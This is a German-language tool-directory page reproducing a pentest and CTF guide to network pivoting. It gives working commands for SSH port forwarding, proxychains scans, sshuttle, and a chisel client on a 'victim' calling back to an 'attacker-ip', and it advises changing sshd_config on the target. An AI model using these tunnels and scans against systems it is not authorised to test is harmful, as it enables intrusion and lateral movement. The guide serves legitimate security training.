Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pentest-pivoting — Ein kompakter Leitfaden für Netzwerk-Pivoting bei Penetrationstests / CTF-Challenges. | Kitploit
Tools/GitHubGitHub/t3l3machus/pentest-pivoting
Web-Proxys & AbfangenLaterale BewegungNetzwerksicherheitCTFPenetrationstestsLernen & BildungRed TeamingKuratierte Ressourcen
GitHubt3l3machus/pentest-pivoting

pentest-pivoting

Ein kompakter Leitfaden für Netzwerk-Pivoting bei Penetrationstests / CTF-Challenges.

Repository anzeigen
2284445vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Pivoting-Leitfaden

Inhaltsverzeichnis

  1. Wichtige Hinweise
  2. SSH-Dynamisches Port-Forwarding
  3. SSH-Remote-Port-Forwarding
  4. SSH-Lokales Port-Forwarding
  5. Doppeltes Pivoting
  6. sshuttle
  7. Chisel
  8. Burpsuite als Proxy verwenden
  9. Nützliche Ressourcen

Wichtige Hinweise

  • Verwende keine ICMP-Echoanfragen (Ping), um SOCKS-Proxys zu testen.
    SOCKS ist ein Internetprotokoll, das Netzwerkpakete zwischen einem Client und einem Server über einen Proxy-Server austauscht. In der Praxis leitet ein SOCKS-Server TCP-Verbindungen an eine beliebige IP-Adresse weiter und bietet eine Möglichkeit, UDP-Pakete weiterzuleiten. Du solltest es mit einem TCP-basierten Protokoll testen (z. B. versuchen, per SSH eine Verbindung herzustellen oder eine HTTP-GET-Anfrage an einen Host durch den Pivot-Tunnel zu senden).

  • NMAP muss mit TCP-Connect-Scan (-sT) und ohne Ping (-Pn) verwendet werden
    Dies gilt auch für Versions- (-sV) und Skript-Scans (-sC). Sie sollten in Kombination mit -sT und -Pn verwendet werden.
    Beispiele:

    root@kitploit:~
    proxychains nmap -sT -Pn -p- x.x.x.x
    proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
    

Tipp: Du kannst naabu auf den Zielrechner hochladen und wie ein Boss scannen.

  • Verwendung von Skripten und Binärdateien mit proxychains
    Ein Tipp für die Verwendung von proxychains ist, sicherzustellen, dass du bei einem interpretierten Programm (wie einem Python-Skript) das Python-Binary explizit vor dem Skript referenzierst, selbst wenn das Skript mit einem Shebang beginnt, z. B.:

    root@kitploit:~
    proxychains4 [-q -f proxychains.conf] python python_script.py
    

    Ohne diesen expliziten Verweis auf den Skript-Interpreter kann es vorkommen, dass der vom Skript erzeugte Datenverkehr nicht wie beabsichtigt durch den Proxy geleitet wird und die Netzwerkverbindung fehlschlägt. Tipp-Quelle

  • Entkommentiere die Zeile „quite mode" in /etc/proxychains.conf, um stdout zu vermeiden, das manchmal frustrierend sein kann.
    Dies ist nur ein Vorschlag.

  • SSH-Dynamisches Port-Forwarding

    Ermöglicht es dir, einen Socket auf dem lokalen Rechner (SSH-Client) zu erstellen, der als SOCKS-Proxy-Server fungiert. Wenn ein Client sich mit diesem Port verbindet, wird die Verbindung an den entfernten Rechner (SSH-Server) weitergeleitet, der sie dann an einen dynamischen Port auf dem Zielrechner weiterleitet.

    So richtest du es ein:

    1. Bearbeite /etc/proxychains.conf und nimm Folgendes vor:

      • Entkommentiere Dynamic chain.
      • Kommentiere Strict chain und Random chain aus.
      • Füge am Ende des Dokuments (Proxy-Liste) die Zeile socks4 127.0.0.1 9050 hinzu, speichere und schließe die Datei. *Du kannst natürlich einen anderen Port verwenden.
    2. Richte das SSH-Dynamische Port-Forwarding ein:

    root@kitploit:~
    ssh -D 127.0.0.1:9050 user@victim-IP
    

    Anwendungsbeispiele:
    Wobei x.x.x.x die IP-Adresse eines Hosts im getunnelten Netzwerk ist:

    root@kitploit:~
    proxychains nmap -sT -Pn -p- x.x.x.x
    proxychains smbmap -H x.x.x.x
    proxychains ssh [email protected]
    

    Um Firefox durch den Tunnel zu verwenden:

    root@kitploit:~
    proxychains firefox
    

    SSH-Remote-Port-Forwarding

    Wenn du suchst, wie du eine Reverse Shell durch einen Pivot-Tunnel bekommst, ist das hier das Richtige. Es ermöglicht dir, einen Port auf dem entfernten (Opfer-)Rechner an einen Port auf dem lokalen (Angreifer-)Rechner weiterzuleiten.

    So richtest du es ein:

    1. Verbinde dich per SSH mit dem Zielrechner.

    2. Bearbeite /etc/ssh/sshd_config und nimm Folgendes vor:

      • Entkommentiere GatewayPorts no und ändere es in Yes. Speichere und schließe die Datei.

      *Das ist sehr wichtig und viele Anleitungen im Internet erwähnen es nicht. Wenn du das nicht tust, kannst du den Tunnel nur auf 127.0.0.1 statt 0.0.0.0 einrichten, was dazu führt, dass kein Datenverkehr weitergeleitet wird, wenn er von einem anderen Host als localhost stammt.

      • Starte den SSH-Dienst neu, damit die Änderungen wirksam werden. sudo service ssh restart
      • Beende die Sitzung und kehre zu deinem Rechner zurück.
    3. Richte das SSH-Remote-Port-Forwarding ein:
      Im Wesentlichen ist der Befehl nach der oben beschriebenen Einrichtung so einfach:

    root@kitploit:~
    ssh -R 2222:*:2222 user@victim-IP
    

    Um zu testen, ob es funktioniert, könntest du Folgendes tun:
    Richte einen Listener (z. B. Netcat) auf deinem Angreifer-Rechner ein (auf dem Port, den du für das Remote-Forwarding konfiguriert hast, in diesem Beispiel 2222) und sende eine Anfrage vom Zielrechner an sich selbst (localhost). In diesem Beispiel wäre das nc 127.0.0.1 2222. Wenn dein Angreifer-Rechner die Verbindung empfängt, bedeutet das: a) Es funktioniert und b) jede Verbindung von Pivot-Hosts zur Ziel-IP:2222 wird an den Angreifer-Rechner weitergeleitet.

    Du kannst mehrere Ports wie folgt setzen:

    root@kitploit:~
    ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
    

    Achtung: Anfragen von fremden Hosts (Pivot-Netzwerk) müssen an die Ziel-IP gerichtet sein, um zurück an den Angreifer-Rechner weitergeleitet zu werden.

    *Du kannst Remote-Port-Forwarding auch umsetzen, indem du per SSH vom Zielrechner aus eine Verbindung zum Angreifer-Rechner herstellst.

    SSH-Lokales Port-Forwarding

    Lokales Port-Forwarding ermöglicht es dir, einen Port auf dem lokalen (Angreifer-)Rechner an einen Port auf dem entfernten (Ziel-)Rechner weiterzuleiten. Besonders nützlich, um lokale Ports auf dem Zielrechner zu scannen.

    Verwendung:

    root@kitploit:~
    ssh user@victim-IP -L 8888:127.0.0.1:8086
    

    Du kannst jetzt z. B. nmap verwenden, um Port 8086 auf dem Zielrechner so zu scannen:

    root@kitploit:~
    nmap -Pn -n -p8888 -sV 127.0.0.1
    

    Doppeltes Pivoting

    Ein Beispiel, wie doppeltes Pivoting mit SSH-Dynamischem Port-Forwarding und Proxychains umgesetzt wird.

    Konzept:
    Angenommen, wir haben die folgenden 4 Rechner.

    IPRolle
    10.10.10.10Angreifer
    10.10.10.11Jumphost1
    172.16.1.12Jumphost2
    172.16.2.13Jumphost3

    Der Angreifer kann Jumphost1 erreichen.
    Jumphost1 kann Jumphost2 erreichen.
    Jumphost2 kann Jumphost3 erreichen.

    1. Um Jumphost2 zu erreichen, wende die zuvor genannten Anweisungen für SSH-Dynamisches Port-Forwarding gegen Jumphost1 an.
    2. Um Jumphost3 zu erreichen, bearbeite /etc/proxychains.conf und füge am Ende des Dokuments einen weiteren Proxy-Eintrag hinzu. Das Ende deiner proxychains.conf sieht dann ungefähr so aus:
    root@kitploit:~
    ...
    socks4 127.0.0.1 9050
    socks4 127.0.0.1 9999
    
    1. Verbinde dich per SSH mit Jumphost1 und richte ein weiteres Dynamisches Port-Forwarding gegen Jumphost2 ein (der gewählte lokale Port muss derselbe sein wie der für deinen zweiten Proxy-Eintrag in proxychains.conf):
    root@kitploit:~
    ssh -D 127.0.0.1:9999 user@Jumphost2
    

    Du solltest jetzt in der Lage sein, Jumphost3 zu erreichen.

    sshuttle

    sshuttle ermöglicht es dir, per SSH eine VPN-Verbindung von deinem Rechner zu einem beliebigen Remote-Server herzustellen, sofern dieser Server Python 2.3 oder höher besitzt. Damit es funktioniert, benötigst du Root-Zugriff auf dem lokalen Rechner, auf dem Server reicht jedoch ein normales Konto. Es ist möglich, sshuttle mehrfach gleichzeitig auf einem einzelnen Client-Rechner auszuführen, wobei jedes Mal eine Verbindung zu einem anderen Server hergestellt wird, sodass du gleichzeitig in mehreren VPNs sein kannst. Siehe das sshuttle-GitHub-Repository.

    Verwendung:
    Angenommen, wir wollen in 172.16.2.0/16 pivoten:

    root@kitploit:~
    sshuttle -vvr root@victim 172.16.2.0/16
    

    Wenn du einen SSH-Key verwenden willst:

    root@kitploit:~
    sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
    

    Chisel

    Chisel ist ein schneller TCP/UDP-Tunnel, der über HTTP transportiert und per SSH abgesichert wird. Eine einzelne ausführbare Datei, die sowohl Client als auch Server enthält. Geschrieben in Go (Golang). Es ist wahnsinnig großartig und nützlich.

    Installation:
    Du kannst chisel einfach unter Kali installieren:

    root@kitploit:~
    apt install chisel
    

    Um es zu verwenden, musst du zusätzlich die Chisel-Binärdatei auf den Zielrechner hochladen. Vorkompilierte Versionen kannst du hier herunterladen.

    Beispiel für lokales Port-Forwarding
    Auf deinem Angreifer-Rechner:

    root@kitploit:~
    chisel server -p 8000 --reverse
    

    Auf dem Zielrechner:

    root@kitploit:~
    ./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
    

    Dadurch wird Datenverkehr von Port 1234 des Angreifer-Rechners zu Port 8443 des Zielrechners weitergeleitet.

    Burpsuite als Proxy verwenden

    Burpsuite unterstützt das Einrichten von Proxys, eine unglaublich nützliche und leistungsstarke Funktion.

    So richtest du es ein:
    Starte Burpsuite und nimm Folgendes vor:

    • Gehe zu Proxy/Optionen und klicke im Abschnitt Proxy-Listener auf add.
    • Lege einen Bindungsport und eine Schnittstelle fest.
    • Lege im zweiten Tab den Host und den Port fest, an den der Datenverkehr umgeleitet werden soll.

    In Kombination mit einem SSH-Dynamischen Port-Forwarding oder sshuttle kannst du Burpsuite nun nutzen, um Datenverkehr über deinen lokalen Bind-Port an gewünschte Hosts weiterzuleiten. Ein nützliches Beispiel mit gobuster dir-Brute-Force durch den Tunnel (angenommen, du hast Port 2222 als Umleitungsport festgelegt):

    root@kitploit:~
    gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt
    

    Nützliche Ressourcen

    • https://artkond.com/2017/03/23/pivoting-guide/
    • https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/
    • https://medium.com/cyberxerx/how-to-setup-proxychains-in-kali-linux-by-terminal-618e2039b663
    Tool herunterladen